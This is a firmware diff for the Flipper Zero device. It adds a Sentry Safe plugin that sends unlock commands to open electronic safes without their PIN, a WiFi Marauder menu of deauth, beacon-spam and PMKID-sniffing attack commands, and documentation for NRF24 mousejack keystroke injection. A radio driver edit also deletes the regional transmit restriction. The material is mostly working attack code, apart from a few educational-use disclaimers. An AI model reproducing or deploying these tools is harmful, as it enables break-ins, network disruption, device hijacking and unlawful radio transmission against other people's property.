canvas_draw_frame(canvas, 22, 4, 84, 24);
canvas_draw_str_aligned(canvas, 64, 15, AlignCenter, AlignBottom, "BLACK <-> GND");
canvas_draw_str_aligned(canvas, 64, 25, AlignCenter, AlignBottom, "GREEN <-> C1 ");
canvas_draw_str_aligned(
canvas, 64, 50, AlignCenter, AlignBottom, status_texts[sentry_state->status]);
release_mutex((ValueMutex*)ctx, sentry_state);
}
static void sentry_safe_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);
Event event = {.type = EventTypeKey, .input = *input_event};
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}
void send_request(int command, int a, int b, int c, int d, int e) {
int checksum = (command + a + b + c + d + e);
furi_hal_gpio_init_simple(&gpio_ext_pc1, GpioModeOutputPushPull);
furi_hal_gpio_write(&gpio_ext_pc1, false);
furi_delay_ms(3.4);
furi_hal_gpio_write(&gpio_ext_pc1, true);
furi_hal_uart_init(FuriHalUartIdLPUART1, 4800);
//furi_hal_uart_set_br(FuriHalUartIdLPUART1, 4800);
//furi_hal_uart_set_irq_cb(FuriHalUartIdLPUART1, usb_uart_on_irq_cb, usb_uart);
uint8_t data[8] = {0x0, command, a, b, c, d, e, checksum};
furi_hal_uart_tx(FuriHalUartIdLPUART1, data, 8);
furi_delay_ms(100);
furi_hal_uart_set_irq_cb(FuriHalUartIdLPUART1, NULL, NULL);
furi_hal_uart_deinit(FuriHalUartIdLPUART1);
}
void reset_code(int a, int b, int c, int d, int e) {
send_request(0x75, a, b, c, d, e);
}
void try_code(int a, int b, int c, int d, int e) {
send_request(0x71, a, b, c, d, e);
}
int32_t sentry_safe_app(void* p) {
UNUSED(p);
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(Event));
SentryState* sentry_state = malloc(sizeof(SentryState));
sentry_state->status = 0;
ValueMutex state_mutex;
if(!init_mutex(&state_mutex, sentry_state, sizeof(SentryState))) {
FURI_LOG_E("SentrySafe", "cannot create mutex\r\n");
free(sentry_state);
return 255;
}
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, sentry_safe_render_callback, &state_mutex);
view_port_input_callback_set(view_port, sentry_safe_input_callback, event_queue);
// Open GUI and register view_port
Gui* gui = furi_record_open("gui");
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
Event event;
for(bool processing = true; processing;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
SentryState* sentry_state = (SentryState*)acquire_mutex_block(&state_mutex);
if(event_status == FuriStatusOk) {
// press events
if(event.type == EventTypeKey) {
if(event.input.type == InputTypePress) {
switch(event.input.key) {
case InputKeyUp:
break;
case InputKeyDown:
break;
case InputKeyRight:
break;
case InputKeyLeft:
break;
case InputKeyOk:
if(sentry_state->status == 2) {
sentry_state->status = 0;
} else if(sentry_state->status == 0) {
sentry_state->status = 1;
reset_code(1, 2, 3, 4, 5);
furi_delay_ms(500);
try_code(1, 2, 3, 4, 5);
sentry_state->status = 2;
}
break;
case InputKeyBack:
processing = false;
break;
}
}
}
} else {
// event timeout
}
view_port_update(view_port);
release_mutex(&state_mutex, sentry_state);
}
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close("gui");
view_port_free(view_port);
furi_message_queue_free(event_queue);
delete_mutex(&state_mutex);
free(sentry_state);
return 0;
}

View file

@ -0,0 +1,10 @@
App(
appid="wifi_marauder",
name="[HW] WiFi (Marauder)",
apptype=FlipperAppType.PLUGIN,
entry_point="wifi_marauder_app",
cdefines=["APP_WIFI_MARAUDER"],
requires=["gui"],
stack_size=1 * 1024,
order=90,
)

View file

@ -0,0 +1,30 @@
#include "wifi_marauder_scene.h"
// Generate scene on_enter handlers array
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
void (*const wifi_marauder_scene_on_enter_handlers[])(void*) = {
#include "wifi_marauder_scene_config.h"
};
#undef ADD_SCENE
// Generate scene on_event handlers array
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
bool (*const wifi_marauder_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
#include "wifi_marauder_scene_config.h"
};
#undef ADD_SCENE
// Generate scene on_exit handlers array
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
void (*const wifi_marauder_scene_on_exit_handlers[])(void* context) = {
#include "wifi_marauder_scene_config.h"
};
#undef ADD_SCENE
// Initialize scene handlers configuration structure
const SceneManagerHandlers wifi_marauder_scene_handlers = {
.on_enter_handlers = wifi_marauder_scene_on_enter_handlers,
.on_event_handlers = wifi_marauder_scene_on_event_handlers,
.on_exit_handlers = wifi_marauder_scene_on_exit_handlers,
.scene_num = WifiMarauderSceneNum,
};

View file

@ -0,0 +1,29 @@
#pragma once
#include <gui/scene_manager.h>
// Generate scene id and total number
#define ADD_SCENE(prefix, name, id) WifiMarauderScene##id,
typedef enum {
#include "wifi_marauder_scene_config.h"
WifiMarauderSceneNum,
} WifiMarauderScene;
#undef ADD_SCENE
extern const SceneManagerHandlers wifi_marauder_scene_handlers;
// Generate scene on_enter handlers declaration
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*);
#include "wifi_marauder_scene_config.h"
#undef ADD_SCENE
// Generate scene on_event handlers declaration
#define ADD_SCENE(prefix, name, id) \
bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event);
#include "wifi_marauder_scene_config.h"
#undef ADD_SCENE
// Generate scene on_exit handlers declaration
#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context);
#include "wifi_marauder_scene_config.h"
#undef ADD_SCENE

View file

@ -0,0 +1,3 @@
ADD_SCENE(wifi_marauder, start, Start)
ADD_SCENE(wifi_marauder, console_output, ConsoleOutput)
ADD_SCENE(wifi_marauder, text_input, TextInput)

View file

@ -0,0 +1,77 @@
#include "../wifi_marauder_app_i.h"
void wifi_marauder_console_output_handle_rx_data_cb(uint8_t *buf, size_t len, void* context) {
furi_assert(context);
WifiMarauderApp* app = context;
// If text box store gets too big, then truncate it
app->text_box_store_strlen += len;
if (app->text_box_store_strlen >= WIFI_MARAUDER_TEXT_BOX_STORE_SIZE - 1) {
string_right(app->text_box_store, app->text_box_store_strlen / 2);
app->text_box_store_strlen = string_size(app->text_box_store);
}
// Null-terminate buf and append to text box store
buf[len] = '\0';
string_cat_printf(app->text_box_store, "%s", buf);
view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventRefreshConsoleOutput);
}
void wifi_marauder_scene_console_output_on_enter(void* context) {
WifiMarauderApp* app = context;
TextBox* text_box = app->text_box;
text_box_reset(app->text_box);
text_box_set_font(text_box, TextBoxFontText);
if (app->focus_console_start) {
text_box_set_focus(text_box, TextBoxFocusStart);
} else {
text_box_set_focus(text_box, TextBoxFocusEnd);
}
if (app->is_command) {
string_reset(app->text_box_store);
app->text_box_store_strlen = 0;
} else { // "View Log" menu action
text_box_set_text(app->text_box, string_get_cstr(app->text_box_store));
}
scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneConsoleOutput, 0);
view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewConsoleOutput);
// Register callback to receive data
wifi_marauder_uart_set_handle_rx_data_cb(app->uart, wifi_marauder_console_output_handle_rx_data_cb); // setup callback for rx thread
// Send command with newline '\n'
if (app->is_command && app->selected_tx_string) {
wifi_marauder_uart_tx((uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string));
wifi_marauder_uart_tx((uint8_t*)("\n"), 1);
}
}
bool wifi_marauder_scene_console_output_on_event(void* context, SceneManagerEvent event) {
WifiMarauderApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
text_box_set_text(app->text_box, string_get_cstr(app->text_box_store));
consumed = true;
} else if(event.type == SceneManagerEventTypeTick) {
consumed = true;
}
return consumed;
}
void wifi_marauder_scene_console_output_on_exit(void* context) {
WifiMarauderApp* app = context;
// Unregister rx callback
wifi_marauder_uart_set_handle_rx_data_cb(app->uart, NULL);
// Automatically stop the scan when exiting view
if (app->is_command) {
wifi_marauder_uart_tx((uint8_t*)("stopscan\n"), strlen("stopscan\n"));
}
}

View file

@ -0,0 +1,105 @@
#include "../wifi_marauder_app_i.h"
#define NUM_MENU_ITEMS (29)
// For each command, define whether additional arguments are needed
// (enabling text input to fill them out), and whether the console
// text box should focus at the start of the output or the end
#define INPUT_ARGS (true)
#define NO_ARGS (false)
#define FOCUS_CONSOLE_START (true)
#define FOCUS_CONSOLE_END (false)
struct WifiMarauderItem {
const char* item_string;
bool needs_keyboard;
bool focus_console_start;
};
const struct WifiMarauderItem items[NUM_MENU_ITEMS] = {
{ "View Log (start)", NO_ARGS, FOCUS_CONSOLE_START },
{ "View Log (end)", NO_ARGS, FOCUS_CONSOLE_END },
{ "attack -t beacon -l", NO_ARGS, FOCUS_CONSOLE_END },
{ "attack -t beacon -r", NO_ARGS, FOCUS_CONSOLE_END },
{ "attack -t beacon -a", NO_ARGS, FOCUS_CONSOLE_END },
{ "attack -t deauth", NO_ARGS, FOCUS_CONSOLE_END },
{ "attack -t probe", NO_ARGS, FOCUS_CONSOLE_END },
{ "attack -t rickroll", NO_ARGS, FOCUS_CONSOLE_END },
{ "channel", NO_ARGS, FOCUS_CONSOLE_END },
{ "channel -s", INPUT_ARGS, FOCUS_CONSOLE_END },
{ "clearlist -a", NO_ARGS, FOCUS_CONSOLE_END },
{ "clearlist -s", NO_ARGS, FOCUS_CONSOLE_END },
{ "help", NO_ARGS, FOCUS_CONSOLE_START },
{ "list -a", NO_ARGS, FOCUS_CONSOLE_START },
{ "list -s", NO_ARGS, FOCUS_CONSOLE_START },
{ "reboot", NO_ARGS, FOCUS_CONSOLE_END },
{ "scanap", NO_ARGS, FOCUS_CONSOLE_END },
{ "select -a", INPUT_ARGS, FOCUS_CONSOLE_END },
{ "select -s", INPUT_ARGS, FOCUS_CONSOLE_END },
{ "sniffbeacon", NO_ARGS, FOCUS_CONSOLE_END },
{ "sniffdeauth", NO_ARGS, FOCUS_CONSOLE_END },
{ "sniffesp", NO_ARGS, FOCUS_CONSOLE_END },
{ "sniffpmkid", NO_ARGS, FOCUS_CONSOLE_END },
{ "sniffpmkid -c", INPUT_ARGS, FOCUS_CONSOLE_END },
{ "sniffpwn", NO_ARGS, FOCUS_CONSOLE_END },
{ "ssid -a -g", INPUT_ARGS, FOCUS_CONSOLE_END },
{ "ssid -a -n", INPUT_ARGS, FOCUS_CONSOLE_END },
{ "ssid -r", INPUT_ARGS, FOCUS_CONSOLE_END },
{ "update -w", NO_ARGS, FOCUS_CONSOLE_END },
};
static void wifi_marauder_scene_start_var_list_enter_callback(void* context, uint32_t index) {
furi_assert(context);
WifiMarauderApp* app = context;
app->selected_tx_string = items[index].item_string;
app->is_command = (2 <= index);
app->is_custom_tx_string = false;
app->selected_menu_index = index;
app->focus_console_start = items[index].focus_console_start;
if (items[index].needs_keyboard) {
view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartKeyboard);
} else {
view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartConsole);
}
}
void wifi_marauder_scene_start_on_enter(void* context) {
WifiMarauderApp* app = context;
VariableItemList* var_item_list = app->var_item_list;
variable_item_list_set_enter_callback(
var_item_list, wifi_marauder_scene_start_var_list_enter_callback, app);
// TODO: organize menu
for (int i = 0; i < NUM_MENU_ITEMS; ++i) {
variable_item_list_add(var_item_list, items[i].item_string, 0, NULL, NULL);
}
variable_item_list_set_selected_item(
var_item_list, scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneStart));
view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewVarItemList);
}
bool wifi_marauder_scene_start_on_event(void* context, SceneManagerEvent event) {
UNUSED(context);
WifiMarauderApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if (event.event == WifiMarauderEventStartKeyboard) {
scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index);
scene_manager_next_scene(app->scene_manager, WifiMarauderAppViewTextInput);
} else if (event.event == WifiMarauderEventStartConsole) {
scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index);
scene_manager_next_scene(app->scene_manager, WifiMarauderAppViewConsoleOutput);
}
consumed = true;
}
return consumed;
}
void wifi_marauder_scene_start_on_exit(void* context) {
WifiMarauderApp* app = context;
variable_item_list_reset(app->var_item_list);
}

View file

@ -0,0 +1,54 @@
#include "../wifi_marauder_app_i.h"
void wifi_marauder_scene_text_input_callback(void* context) {
WifiMarauderApp* app = context;
view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartConsole);
}
void wifi_marauder_scene_text_input_on_enter(void* context) {
WifiMarauderApp* app = context;
if (false == app->is_custom_tx_string) {
// Fill text input with selected string so that user can add to it
size_t length = strlen(app->selected_tx_string);
furi_assert(length < WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE);
bzero(app->text_input_store, WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE);
strncpy(app->text_input_store, app->selected_tx_string, length);
// Add space - because flipper keyboard currently doesn't have a space
app->text_input_store[length] = ' ';
app->text_input_store[length+1] = '\0';
app->is_custom_tx_string = true;
}
// Setup view
TextInput* text_input = app->text_input;
text_input_set_header_text(text_input, "Add command arguments");
text_input_set_result_callback(text_input, wifi_marauder_scene_text_input_callback, app, app->text_input_store, WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE, false);
view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewTextInput);
}
bool wifi_marauder_scene_text_input_on_event(void* context, SceneManagerEvent event) {
WifiMarauderApp* app = context;
bool consumed = false;
if (event.type == SceneManagerEventTypeCustom) {
if (event.event == WifiMarauderEventStartConsole) {
// Point to custom string to send
app->selected_tx_string = app->text_input_store;
scene_manager_next_scene(app->scene_manager, WifiMarauderAppViewConsoleOutput);
consumed = true;
}
}
return consumed;
}
void wifi_marauder_scene_text_input_on_exit(void* context) {
WifiMarauderApp* app = context;
text_input_reset(app->text_input);
}

View file

@ -0,0 +1,96 @@
#include "wifi_marauder_app_i.h"
#include <furi.h>
#include <furi_hal.h>
static bool wifi_marauder_app_custom_event_callback(void* context, uint32_t event) {
furi_assert(context);
WifiMarauderApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
static bool wifi_marauder_app_back_event_callback(void* context) {
furi_assert(context);
WifiMarauderApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static void wifi_marauder_app_tick_event_callback(void* context) {
furi_assert(context);
WifiMarauderApp* app = context;
scene_manager_handle_tick_event(app->scene_manager);
}
WifiMarauderApp* wifi_marauder_app_alloc() {
WifiMarauderApp* app = malloc(sizeof(WifiMarauderApp));
app->gui = furi_record_open("gui");
app->view_dispatcher = view_dispatcher_alloc();
app->scene_manager = scene_manager_alloc(&wifi_marauder_scene_handlers, app);
view_dispatcher_enable_queue(app->view_dispatcher);
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(
app->view_dispatcher, wifi_marauder_app_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, wifi_marauder_app_back_event_callback);
view_dispatcher_set_tick_event_callback(
app->view_dispatcher, wifi_marauder_app_tick_event_callback, 100);
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
app->var_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
WifiMarauderAppViewVarItemList,
variable_item_list_get_view(app->var_item_list));
app->text_box = text_box_alloc();
view_dispatcher_add_view(app->view_dispatcher, WifiMarauderAppViewConsoleOutput, text_box_get_view(app->text_box));
string_init(app->text_box_store);
string_reserve(app->text_box_store, WIFI_MARAUDER_TEXT_BOX_STORE_SIZE);
app->text_input = text_input_alloc();
view_dispatcher_add_view(app->view_dispatcher, WifiMarauderAppViewTextInput, text_input_get_view(app->text_input));
scene_manager_next_scene(app->scene_manager, WifiMarauderSceneStart);
return app;
}
void wifi_marauder_app_free(WifiMarauderApp* app) {
furi_assert(app);
// Views
view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewVarItemList);
view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewConsoleOutput);
view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewTextInput);
text_box_free(app->text_box);
string_clear(app->text_box_store);
text_input_free(app->text_input);
// View dispatcher
view_dispatcher_free(app->view_dispatcher);
scene_manager_free(app->scene_manager);
wifi_marauder_uart_free(app->uart);
// Close records
furi_record_close("gui");
free(app);
}
int32_t wifi_marauder_app(void* p) {
UNUSED(p);
WifiMarauderApp* wifi_marauder_app = wifi_marauder_app_alloc();
wifi_marauder_app->uart = wifi_marauder_uart_init(wifi_marauder_app);
view_dispatcher_run(wifi_marauder_app->view_dispatcher);
wifi_marauder_app_free(wifi_marauder_app);
return 0;
}

View file

@ -0,0 +1,11 @@
#pragma once
#ifdef __cplusplus
extern "C" {
#endif
typedef struct WifiMarauderApp WifiMarauderApp;
#ifdef __cplusplus
}
#endif

View file

@ -0,0 +1,65 @@
#pragma once
#include "wifi_marauder_app.h"
#include "scenes/wifi_marauder_scene.h"
#include "wifi_marauder_custom_event.h"
#include "wifi_marauder_uart.h"
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <gui/modules/text_box.h>
#include <gui/modules/text_input.h>
#include <gui/modules/variable_item_list.h>
#define WIFI_MARAUDER_TEXT_BOX_STORE_SIZE (4096)
#define WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE (512)
struct WifiMarauderApp {
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
char text_input_store[WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE + 1];
string_t text_box_store;
size_t text_box_store_strlen;
TextBox* text_box;
TextInput* text_input;
//Widget* widget;
VariableItemList* var_item_list;
WifiMarauderUart* uart;
int selected_menu_index;
const char* selected_tx_string;
bool is_command;
bool is_custom_tx_string;
bool focus_console_start;
};
// Supported commands:
// https://github.com/justcallmekoko/ESP32Marauder/wiki/cli
// Scan
// -> If list is empty, then start a new scanap. (Tap any button to stop.)
// -> If there's a list, provide option to rescan and dump list of targets to select.
// -> Press BACK to go back to top-level.
// Attack
// -> Beacon
// -> Deauth
// -> Probe
// -> Rickroll
// Sniff
// -> Beacon
// -> Deauth
// -> ESP
// -> PMKID
// -> Pwnagotchi
// Channel
// Update
// Reboot
typedef enum {
WifiMarauderAppViewVarItemList,
WifiMarauderAppViewConsoleOutput,
WifiMarauderAppViewTextInput,
} WifiMarauderAppView;

View file

@ -0,0 +1,7 @@
#pragma once
typedef enum {
WifiMarauderEventRefreshConsoleOutput = 0,
WifiMarauderEventStartConsole,
WifiMarauderEventStartKeyboard,
} WifiMarauderCustomEvent;

View file

@ -0,0 +1,97 @@
#include "wifi_marauder_app_i.h"
#include "wifi_marauder_uart.h"
#include <stream_buffer.h>
#define UART_CH (FuriHalUartIdUSART1)
#define BAUDRATE (115200)
struct WifiMarauderUart {
WifiMarauderApp* app;
FuriThread* rx_thread;
StreamBufferHandle_t rx_stream;
uint8_t rx_buf[RX_BUF_SIZE+1];
void (*handle_rx_data_cb)(uint8_t *buf, size_t len, void* context);
};
typedef enum {
WorkerEvtStop = (1 << 0),
WorkerEvtRxDone = (1 << 1),
} WorkerEvtFlags;
void wifi_marauder_uart_set_handle_rx_data_cb(WifiMarauderUart* uart, void (*handle_rx_data_cb)(uint8_t *buf, size_t len, void* context)) {
furi_assert(uart);
uart->handle_rx_data_cb = handle_rx_data_cb;
}
#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone)
void wifi_marauder_uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) {
WifiMarauderUart* uart = (WifiMarauderUart*)context;
BaseType_t xHigherPriorityTaskWoken = pdFALSE;
if(ev == UartIrqEventRXNE) {
xStreamBufferSendFromISR(uart->rx_stream, &data, 1, &xHigherPriorityTaskWoken);
furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtRxDone);
portYIELD_FROM_ISR(xHigherPriorityTaskWoken);
}
}
static int32_t uart_worker(void* context) {
WifiMarauderUart* uart = (void*)context;
uart->rx_stream = xStreamBufferCreate(RX_BUF_SIZE, 1);
while(1) {
uint32_t events =
furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever);
furi_check((events & FuriFlagError) == 0);
if(events & WorkerEvtStop) break;
if(events & WorkerEvtRxDone) {
size_t len =
xStreamBufferReceive(uart->rx_stream, uart->rx_buf, RX_BUF_SIZE, 0);
if(len > 0) {
if (uart->handle_rx_data_cb) uart->handle_rx_data_cb(uart->rx_buf, len, uart->app);
}
}
}
vStreamBufferDelete(uart->rx_stream);
return 0;
}
void wifi_marauder_uart_tx(uint8_t *data, size_t len) {
furi_hal_uart_tx(UART_CH, data, len);
}
WifiMarauderUart* wifi_marauder_uart_init(WifiMarauderApp* app) {
WifiMarauderUart *uart = malloc(sizeof(WifiMarauderUart));
furi_hal_console_disable();
furi_hal_uart_set_br(UART_CH, BAUDRATE);
furi_hal_uart_set_irq_cb(UART_CH, wifi_marauder_uart_on_irq_cb, uart);
uart->app = app;
uart->rx_thread = furi_thread_alloc();
furi_thread_set_name(uart->rx_thread, "WifiMarauderUartRxThread");
furi_thread_set_stack_size(uart->rx_thread, 1024);
furi_thread_set_context(uart->rx_thread, uart);
furi_thread_set_callback(uart->rx_thread, uart_worker);
furi_thread_start(uart->rx_thread);
return uart;
}
void wifi_marauder_uart_free(WifiMarauderUart* uart) {
furi_assert(uart);
furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtStop);
furi_thread_join(uart->rx_thread);
furi_thread_free(uart->rx_thread);
furi_hal_uart_set_irq_cb(UART_CH, NULL, NULL);
furi_hal_console_enable();
free(uart);
}

View file

@ -0,0 +1,12 @@
#pragma once
#include "furi_hal.h"
#define RX_BUF_SIZE (320)
typedef struct WifiMarauderUart WifiMarauderUart;
void wifi_marauder_uart_set_handle_rx_data_cb(WifiMarauderUart* uart, void (*handle_rx_data_cb)(uint8_t *buf, size_t len, void* context));
void wifi_marauder_uart_tx(uint8_t *data, size_t len);
WifiMarauderUart* wifi_marauder_uart_init(WifiMarauderApp* app);
void wifi_marauder_uart_free(WifiMarauderUart* uart);

View file

@ -1,5 +1,5 @@
V:0
T:1658859390
T:1659104936
D:badusb
D:dolphin
D:infrared
@ -232,6 +232,7 @@ F:41b4f08774249014cb8d3dffa5f5c07d:1757:nfc/assets/currency_code.nfc
F:12674515290ad9edcabc82f7695350f8:50737:nfc/assets/mf_classic_dict.nfc
D:subghz/assets
F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo
F:20b3d7ea34e38425ce3a3d2a548cc730:138:subghz/assets/dangerous_settings
F:111d2b8df83e27fd889fc5e270297865:3231:subghz/assets/keeloq_mfcodes
F:9214f9c10463b746a27e82ce0b96e040:465:subghz/assets/keeloq_mfcodes_user
F:653bd8d349055a41e1152e557d4a52d3:202:subghz/assets/nice_flor_s

View file

@ -0,0 +1,2 @@
# Do you want to damage your flipper CC1101 radio chip by using Frequencies that outside HW specs?
yes_i_want_to_destroy_my_flipper: false

View file

@ -0,0 +1,15 @@
This is a UPC-A Barcode generator for the flipper zero hardware.
## Author: [McAzzaMan](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator)
<img src=https://i.imgur.com/bMSAiuK.png>
It will eventually be expanded in to other barcode types. It currently only generates UPC-A type barcodes.
<img src=https://i.imgur.com/bxTdzuA.png>
<b> -Controls- </b> </br>
Hitting the centre button on the flipper toggles edit mode.
When in edit mode, left and right will change the digit to be changed, and up and down will adjust the digit value.
<img src=https://i.imgur.com/lGbzdwH.png>

48
documentation/NRF24.md Normal file
View file

@ -0,0 +1,48 @@
# flipperzero-nrf24
## Author: [mothball187](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker)
An [NRF24](https://www.sparkfun.com/datasheets/Components/SMD/nRF24L01Pluss_Preliminary_Product_Specification_v1_0.pdf) driver for the [Flipper Zero](https://flipperzero.one/) device. The NRF24 is a popular line of 2.4GHz radio transceivers from Nordic Semiconductors. This library is not currently complete, but functional.
# How to use
- Connect NRF24 to flipper using provided pinouts
- Open NRF24: Sniffer, and scan channels, switch between modes/channels using buttons
- When you got address -> Open NRF24: Mouse Jacker
- Select Address and open badusb file
- Done
## Warning
These apps are for **educational purposes** only. Please use this code responsibly and only use these apps on your own equipment.
## Acknowledgments
The NRF24 sniffing technique was discovered and shared by Travis Goodspeed in [his blog](http://travisgoodspeed.blogspot.com/2011/02/promiscuity-is-nrf24l01s-duty.html).
The mousejack vulnerabilities were discovered and reported by Marc Newlin, see [the blog](https://www.bastille.net/research/vulnerabilities/mousejack/technical-details) for technical details.
Much of the driver code was inspired by [RadioHead's Arduino library](https://www.airspayce.com/mikem/arduino/RadioHead/classRH__NRF24.html).
Much of the mousejack code was inspired by the [Jackit project](https://github.com/insecurityofthings/jackit).
# Pinout from from NoComp/Frog
<img src="https://media.discordapp.net/attachments/937479784726949900/994495234618687509/unknown.png?width=567&height=634">
# Mousejacker / NRF24 pinout by UberGuidoZ
2/A7 on FZ goes to MOSI/6 on nrf24l01<br>
3/A6 on FZ goes to MISO/7 on nrf24l01<br>
4/A4 on FZ goes to CSN/4 on nrf24l01<br>
5/B3 on FZ goes to SCK/5 on nrf24l01<br>
6/B2 on FZ goes to CE/3 on nrf24l01<br>
8/GND on FZ goes to GND/1 on nrf24l01<br>
9/3V3 on FZ goes to VCC/2 on nrf24l01<br>
IRQ/8 is left disconnected on nrf24l01<br>
![NRF_Pins](https://user-images.githubusercontent.com/57457139/178093717-39effd5c-ebe2-4253-b13c-70517d7902f9.png)
If the nRF module is acting a bit flakey, try adding a capacitor to the vcc/gnd lines!
I've not tried the Plus model so it may have a bigger need for a cap.
Otherwise, I haven't had any major issues.
Anything from a 3.3 uF to 10 uF should do. (Watch your positive/negative placement! Negative to ground.)
I learned if you wanna get fancy, include a 0.1 uF cap in parallel.
The 3.3 uF to 10 uF will respond to slow freq changes while the 0.1 uF will respond to the high freq switching spikes that the larger one cannot. That said, a single 10 uF will likely suffice for the Mousejack attack. ¯\\\_(ツ)_/¯
![NRF_Capacitor](https://user-images.githubusercontent.com/57457139/178169959-d030f9a6-d2ac-46af-af8b-470ff092c8a7.jpg)

View file

@ -0,0 +1,17 @@
# Sentry Safe plugin
## Author: [H4ckd4ddy](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin)
Flipper zero exploiting vulnerability to open any Sentry Safe and Master Lock electronic safe without any pin code.
[Vulnerability described here](https://github.com/H4ckd4ddy/bypass-sentry-safe)
### Usage
- Start "Sentry Safe" plugin
- Place wires as described on the plugin screen
<br>(Flipper GPIO) 8/GND -> Black wire (Safe)
<br>(Flipper GPIO) 15/C1 -> Green wire (Safe)
- Press enter
- Open safe

View file

@ -10,6 +10,8 @@
#include <stm32wbxx_ll_dma.h>
#include <lib/flipper_format/flipper_format.h>
#include <furi.h>
#include <cc1101.h>
#include <stdio.h>
@ -284,10 +286,35 @@ uint8_t furi_hal_subghz_get_lqi() {
return data[0] & 0x7F;
}
/*
Modified by @tkerby to the full YARD Stick One extended range of 281-361 MHz, 378-481 MHz, and 749-962 MHz.
These changes are at your own risk. The PLL may not lock and FZ devs have warned of possible damage!
*/
bool furi_hal_subghz_is_frequency_valid(uint32_t value) {
bool is_extended = false;
// TODO: Move file check to another place
Storage* storage = furi_record_open("storage");
FlipperFormat* fff_data_file = flipper_format_file_alloc(storage);
if(flipper_format_file_open_existing(fff_data_file, "/ext/subghz/assets/dangerous_settings")) {
flipper_format_read_bool(
fff_data_file, "yes_i_want_to_destroy_my_flipper", &is_extended, 1);
}
flipper_format_free(fff_data_file);
furi_record_close("storage");
if(!(value >= 299999755 && value <= 348000335) &&
!(value >= 386999938 && value <= 464000000) &&
!(value >= 778999847 && value <= 928000000)) {
!(value >= 778999847 && value <= 928000000) && !(is_extended)) {
FURI_LOG_I(TAG, "Frequency blocked - outside default range");
return false;
} else if(
!(value >= 281000000 && value <= 361000000) &&
!(value >= 378000000 && value <= 481000000) &&
!(value >= 749000000 && value <= 962000000) && is_extended) {
FURI_LOG_I(TAG, "Frequency blocked - outside dangerous range");
return false;
}
@ -295,12 +322,13 @@ bool furi_hal_subghz_is_frequency_valid(uint32_t value) {
}
uint32_t furi_hal_subghz_set_frequency_and_path(uint32_t value) {
// Set these values to the extended frequency range only. They dont define if you can transmit but do select the correct RF path
value = furi_hal_subghz_set_frequency(value);
if(value >= 299999755 && value <= 348000335) {
if(value >= 281000000 && value <= 361000000) {
furi_hal_subghz_set_path(FuriHalSubGhzPath315);
} else if(value >= 386999938 && value <= 464000000) {
} else if(value >= 378000000 && value <= 481000000) {
furi_hal_subghz_set_path(FuriHalSubGhzPath433);
} else if(value >= 778999847 && value <= 928000000) {
} else if(value >= 749000000 && value <= 962000000) {
furi_hal_subghz_set_path(FuriHalSubGhzPath868);
} else {
furi_crash("SubGhz: Incorrect frequency during set.");
@ -309,13 +337,8 @@ uint32_t furi_hal_subghz_set_frequency_and_path(uint32_t value) {
}
bool furi_hal_subghz_is_tx_allowed(uint32_t value) {
UNUSED(value);
// Removed region check
if(!(value >= 299999755 && value <= 348000335) &&
!(value >= 386999938 && value <= 464000000) &&
!(value >= 778999847 && value <= 928000000)) {
return false;
}
return true;
}

View file

@ -21,7 +21,7 @@ enum HidKeyboardMods {
